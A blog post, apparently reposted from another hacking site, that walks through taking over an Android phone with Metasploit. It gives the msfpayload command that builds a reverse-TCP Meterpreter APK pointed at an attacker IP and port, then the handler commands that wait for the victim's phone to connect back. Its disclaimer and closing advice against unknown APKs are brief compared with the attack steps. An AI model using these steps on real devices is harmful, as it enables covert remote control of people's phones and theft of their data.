Hacking Android Using MetaSploit
Posted by Unknown on 12:49 with No comments
First OF All, I Would Like To Credit hacking-tutorial.com Where I Found This Article,
Neither BLACK HAT SOLUTION Nor Hacking-Tutorial Will Be Held Responsible For Your Actions, This Article Is For Educational Purpose only.
Nowadays mobile users are increasing day by day, the security threat is also increasing together with the growth of its users. Our tutorial for today is how to Hacking Android Smartphone Tutorial using Metasploit. Why we choose android phone for this tutorial? simply because lately android phone growing very fast worldwide. Here in China you can get android phone for only US$ 30 it’s one of the reason why android growing fast.
What is android? according to wikipedia:
ANDROID IS AN OPERATING SYSTEM BASED ON THE LINUX KERNEL, AND DESIGNED PRIMARILY FOR TOUCHSCREEN MOBILE DEVICES SUCH AS SMARTPHONES AND TABLET COMPUTERS. INITIALLY DEVELOPED BY ANDROID, INC., WHICH GOOGLE BACKED FINANCIALLY AND LATER BOUGHT IN 2005, ANDROID WAS UNVEILED IN 2007 ALONG WITH THE FOUNDING OF THE OPEN HANDSET ALLIANCE: A CONSORTIUM OF HARDWARE, SOFTWARE, AND TELECOMMUNICATION COMPANIES DEVOTED TO ADVANCING OPEN STANDARDS FOR MOBILE DEVICES.
What is apk? ACCORDING TO WIKIPEDIA
ANDROID APPLICATION PACKAGE FILE (APK) IS THE FILE FORMAT USED TO DISTRIBUTE AND INSTALL APPLICATION SOFTWARE AND MIDDLEWARE ONTO GOOGLE’S ANDROID OPERATING SYSTEM; VERY SIMILAR TO AN MSI PACKAGE IN WINDOWS OR A DEB PACKAGE IN DEBIAN-BASED OPERATING SYSTEMS LIKE UBUNTU.
Here is some initial information for this tutorial:
Attacker IP address: 192.168.8.94
Attacker port to receive connection: 443
Requirements:
1. Metasploit framework (we use Kali Linux 1.0.6 in this tutorial)
2. Android smartphone (we use HTC One android 4.4 KitKat)
Step by Step Hacking Android Smartphone Tutorial using Metasploit:
1. Open terminal (CTRL + ALT + T) view tutorial how to Create linux keyboard shortcut
2. We will utilize Metasploit payload framework to create exploit for this tutorial.
MSFPAYLOAD
ANDROID/METERPRETER/REVERSE_TCP LHOST=
<ATTACKER_IP_ADDRESS> LPORT=
<PORT_TO_RECEIVE_CONNECTION>
As described above that attacker IP address is 192.168.8.94, below is our screenshot when executed the command
3. Because our payload is reverse_tcp where attacker expect the victim to connect back to attacker machine, attacker needs to set up the handler to handle incoming connections to the port already specified above. Type msfconsole to go to Metasploit console.
Info:
USE EXPLOIT/MULTI/HANDLER –> WE WILL USE METASPLOIT HANDLER
SET PAYLOAD
ANDROID/METERPRETER/REVERSE_TCP –> MAKE SURE THE PAYLOAD IS THE SAME WITH STEP 2
4. The next step we need to configure the switch for the Metasploit payload we already specified in step 3.
Info:
SET LHOST 192.168.8.94 –> ATTACKER IP ADDRESS
SET LPORT 443 –> PORT TO LISTEN THE REVERSE CONNECTION
EXPLOIT –> START TO LISTEN INCOMING CONNECTION
6. Short stories the victim (me myself) download the malicious APK’s file and install it. After victim open the application, attacker Metasploit console get something like this:
7. It’s mean that attacker already inside the victim android smartphone and he can do everything with victim phone.
Conclusion:
1. Don’t install APK’s from the unknown source.
2. If you really want to install APK’s from unknown source, make sure you can view, read and examine the source code. The picture below is the source code of our malicious APK’s in this tutorial.
Share this post if you found useful... ◔ ⌣ ◔
Categories: Linux Hacking tricks & commands
0 comments:
Post a Comment